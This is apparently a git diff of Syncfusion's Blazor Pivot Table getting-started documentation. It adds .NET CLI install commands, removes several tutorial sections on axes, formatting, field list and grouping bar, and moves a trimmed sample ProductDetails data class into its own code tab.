index a6eaeabec6..03046bbaac 100644
--- a/blazor/pivot-table/getting-started-with-server-app.md
+++ b/blazor/pivot-table/getting-started-with-server-app.md
@@ -87,9 +87,20 @@ N> Configure the appropriate [Interactive render mode](https://learn.microsoft.c
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.PivotTable](https://www.nuget.org/packages/Syncfusion.Blazor.PivotTable/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install [Syncfusion.Blazor.PivotTable](https://www.nuget.org/packages/Syncfusion.Blazor.PivotTable/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*).
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+The packages can also be installed using the integrated terminal in Visual Studio Code or the .NET CLI. Run the following commands in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>) or command line:
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet add package Syncfusion.Blazor.PivotTable --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+To install via Package Manager Console, run the following commands:
 
 {% tabs %}
 {% highlight C# tabtitle="Package Manager" %}
@@ -163,247 +174,9 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfPivotView TValue="ProductDetails"></SfPivotView>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Assigning sample data to the Blazor pivot table
-
-To enable users to perform meaningful analysis and generate actionable insights, the Pivot Table component requires a well-structured data source. This data source contains the information you want to analyze and visualize.
-
-For demonstration purposes, a collection of objects containing sales details for various products across different periods and regions has been prepared. This sample data is assigned to the Pivot Table component through the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html#Syncfusion_Blazor_PivotView_PivotViewDataSourceSettings_1_DataSource) property under the [PivotViewDataSourceSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html) class.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.PivotView
-
-<SfPivotView TValue="ProductDetails">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-    }
-
-    public class ProductDetails
-    {
-        public int Sold { get; set; }
-        public double Amount { get; set; }
-        public string Country { get; set; }
-        public string Products { get; set; }
-        public string Year { get; set; }
-        public string Quarter { get; set; }
-
-        public static List<ProductDetails> GetProductData()
-        {
-            List<ProductDetails> productData = new List<ProductDetails>();
-            productData.Add(new ProductDetails { Sold = 31, Amount = 52824, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 51, Amount = 86904, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 153360, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 25, Amount = 42600, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 27, Amount = 46008, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 49, Amount = 83496, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 95, Amount = 161880, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 114168, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 75, Amount = 127800, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 114168, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 69, Amount = 117576, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 153360, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 16, Amount = 27264, Country = "France", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 83, Amount = 124422, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 85448, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 20, Amount = 29985, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 70008, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 89, Amount = 60496, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 75, Amount = 801880, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 204168, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 75, Amount = 737800, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 87, Amount = 884168, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 39, Amount = 729576, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 38860, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 93, Amount = 139412, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 51, Amount = 92824, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 61, Amount = 76904, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 70, Amount = 43360, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 85, Amount = 62600, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 86008, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 69, Amount = 93496, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 45, Amount = 301880, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 77, Amount = 404168, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 15, Amount = 137800, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 37, Amount = 184168, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 49, Amount = 89576, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 40, Amount = 33360, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 96, Amount = 77264, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 23, Amount = 24422, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 75448, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 70, Amount = 52345, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 13, Amount = 135612, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 90008, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 29, Amount = 90496, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 45, Amount = 301880, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 77, Amount = 404168, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 15, Amount = 137800, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 37, Amount = 184168, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 99, Amount = 829576, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 80, Amount = 38360, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 91, Amount = 67824, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 81, Amount = 99904, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 70, Amount = 49360, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 65, Amount = 69600, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 90008, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 29, Amount = 90496, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 85, Amount = 391880, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 904168, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 85, Amount = 237800, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 77, Amount = 384168, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 99, Amount = 829576, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 80, Amount = 38360, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 76, Amount = 97264, Country = "United States", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 53, Amount = 94422, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 45448, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 29, Amount = 92345, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 235612, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 90008, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 79, Amount = 90496, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 95, Amount = 501880, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 104168, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 95, Amount = 837800, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 87, Amount = 684168, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 109, Amount = 29576, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 99, Amount = 345860, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q4" });
-            return productData;
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Adding fields to row, column, value, and filter axes
-
-Organizing fields into appropriate axes transforms raw data into a structured, meaningful Pivot Table that enables users to analyze patterns and trends effectively. With the Pivot Table now initialized and populated with sample data, the next logical step involves organizing the appropriate fields into row, column, value, and filter axes to create a functional data analysis tool.
-
-In the [PivotViewDataSourceSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html) class, four primary axes play a crucial role in defining and organizing fields from the bound data source to render the Pivot Table component in the desired format.
-
-**Understanding the four axes:**
-
-- [PivotViewRows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewRow.html) – Collection of fields that will be displayed along the row axis of the Pivot Table.
-- [PivotViewColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewColumn.html) – Collection of fields that will be displayed along the column axis of the Pivot Table.
-- [PivotViewValues](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewValue.html) – Collection of fields that will be displayed as aggregated numeric values within the Pivot Table.
-- [PivotViewFilters](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFilter.html) – Collection of fields that act as master filters over the data bound to the row, column, and value axes of the Pivot Table.
-
-**Essential field properties:**
-
-To define each field in its respective axis, configure the following basic properties:
-
-* [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFieldOptions.html#Syncfusion_Blazor_PivotView_PivotFieldOptions_Name): Sets the field name from the bound data source. The casing must match exactly as it appears in the data source, otherwise the Pivot Table will not render correctly.
-* [Caption](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFieldOptions.html#Syncfusion_Blazor_PivotView_PivotFieldOptions_Caption): Sets the field caption, which serves as the display name for the field in the Pivot Table.
-* [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFieldOptions.html#Syncfusion_Blazor_PivotView_PivotFieldOptions_Type): Sets the summary type for the field. By default, the [SummaryTypes.Sum](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SummaryTypes.html#Syncfusion_Blazor_PivotView_SummaryTypes_Sum) aggregation is applied.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
 @using Syncfusion.Blazor.PivotView
 
 <SfPivotView TValue="ProductDetails" Height="300">
-    <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Applying formatting to a value field
-
-Formatting enhances the readability and presentation of numerical data in a Pivot Table, making it more user-friendly and professional. For example, you can display values with currency symbols or adjust the number of decimal places for greater clarity.
-
-To apply formatting to value fields in a Pivot Table, use the [PivotViewFormatSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html#Syncfusion_Blazor_PivotView_PivotViewDataSourceSettings_1_FormatSettings) class. This class accepts a list of [PivotViewFormatSetting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFormatSetting.html) objects, each defining formatting rules for a specific field in your data.
-
-Within each [PivotViewFormatSetting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFormatSetting.html) object, set the [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFormatSetting.html#Syncfusion_Blazor_PivotView_PivotFormatSetting_Name) property to match the exact field name from your value section. Then, specify the desired display format using the [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFormatSetting.html#Syncfusion_Blazor_PivotView_PivotFormatSetting_Format) property. In the example below, the **Amount** field is configured to display values in currency format using the "C" pattern, which includes currency symbols.
-
-N> Formatting can only be applied to numeric fields in the value section of the Pivot Table.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.PivotView
-
-<SfPivotView TValue="ProductDetails" Height="300">
-    <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table component in your default web browser like below.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhSNEZeilHoDpvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Formatting](images/blazor-pivottable-formatting.webp)" %}
-
-## Enable Field List
-
-The field list enhances user interaction by allowing you to dynamically add, remove, and rearrange fields across different axes, including column, row, value, and filter axes. This user-friendly interface also provides sorting and filtering options that can be applied at runtime without requiring code changes.
-
-To enable the field list, set the [ShowFieldList](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html#Syncfusion_Blazor_PivotView_SfPivotView_1_ShowFieldList) property in the [SfPivotView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html) class to **true**. This activates the field list interface, making it accessible to users to modify Pivot Table report settings. For comprehensive details about field list functionality, [refer](./field-list) to the dedicated field list documentation.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.PivotView
-
-<SfPivotView TValue="ProductDetails" ShowFieldList="true" Height="300">
     <PivotViewDataSourceSettings DataSource="@dataSource">
         <PivotViewColumns>
             <PivotViewColumn Name="Year"></PivotViewColumn>
@@ -428,163 +201,48 @@ To enable the field list, set the [ShowFieldList](https://help.syncfusion.com/cr
     protected override void OnInitialized()
     {
         this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
     }
 }
 
 {% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrotEtSCvFxdyJy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with FieldList Icon](images/blazor-pivottable-fieldlist-icon.webp)" %}
-
-## Enable Grouping Bar
-
-The grouping bar allows users to easily manage and modify the report settings of the Pivot Table directly through the user interface. With the grouping bar, users can instantly move fields between columns, rows, values, and filters by dragging them, allowing for quick arrangement and analysis of the data.
-
-Users can also use the grouping bar to sort, filter, or remove fields quickly without needing to write any code. To enable the grouping bar, set the [ShowGroupingBar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html#Syncfusion_Blazor_PivotView_SfPivotView_1_ShowGroupingBar) property in the [SfPivotView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html) class to **true**. For more details about using the grouping bar, see the [Grouping Bar documentation](./grouping-bar).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.PivotView
-
-<SfPivotView TValue="ProductDetails" ShowGroupingBar="true" Height="300">
-    <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
+{% highlight c# tabtitle="ProductDetails.cs" %}
+
+public class ProductDetails
+{
+    public int Sold { get; set; }
+    public double Amount { get; set; }
+    public string Country { get; set; }
+    public string Products { get; set; }
+    public string Year { get; set; }
+    public string Quarter { get; set; }
+
+    public static List<ProductDetails> GetProductData()
     {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
+        List<ProductDetails> productData = new List<ProductDetails>();
+        productData.Add(new ProductDetails { Sold = 31, Amount = 52824, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 51, Amount = 86904, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
+        productData.Add(new ProductDetails { Sold = 90, Amount = 153360, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
+        productData.Add(new ProductDetails { Sold = 25, Amount = 42600, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
+        productData.Add(new ProductDetails { Sold = 16, Amount = 27264, Country = "France", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 83, Amount = 124422, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 51, Amount = 92824, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 97, Amount = 86008, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 15, Amount = 137800, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 96, Amount = 77264, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 23, Amount = 24422, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 85, Amount = 237800, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 76, Amount = 97264, Country = "United States", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 53, Amount = 94422, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
+        return productData;
     }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtroXkDehXUHMfdh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Grouping Bar](images/blazor-pivottable-grouping-bar.webp)" %}
-
-## Exploring Filter Axis
-
-The filter axis lets you show only the data you need in the Blazor Pivot Table, making analysis simpler. You can add fields to the filter axis to control what data appears in the [PivotViewRows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewRow.html), [PivotViewColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewColumn.html), and [PivotViewValues](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewValue.html) axes. You can set up these fields in two ways: by adding them to the [PivotViewFilters](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFilter.html) collection in your code, or by dragging and dropping fields from other axes to the filter axis using the grouping bar or field list during runtime. This helps you focus on specific data without changing the Pivot Table’s structure.
-
-The following example shows how to add a field to the filter axis in a Blazor Pivot Table:
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.PivotView
-
-<SfPivotView TValue="ProductDetails" ShowGroupingBar="true" ShowFieldList="true" Height="300">
-    <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewFilters>
-            <PivotViewFilter Name="Country"></PivotViewFilter>
-        </PivotViewFilters>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDroXajSVMDijPfd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Formatting](images/blazor-pivottable-format.webp)" %}
-
-## Calculated Field
-
-The calculated field feature enables users to create custom value fields using mathematical formulas and existing fields from their data source. Users can perform complex calculations with basic arithmetic operators and seamlessly integrate these custom fields into their Pivot Table for enhanced data visualization and reporting.
-
-Users can add calculated fields in two ways:
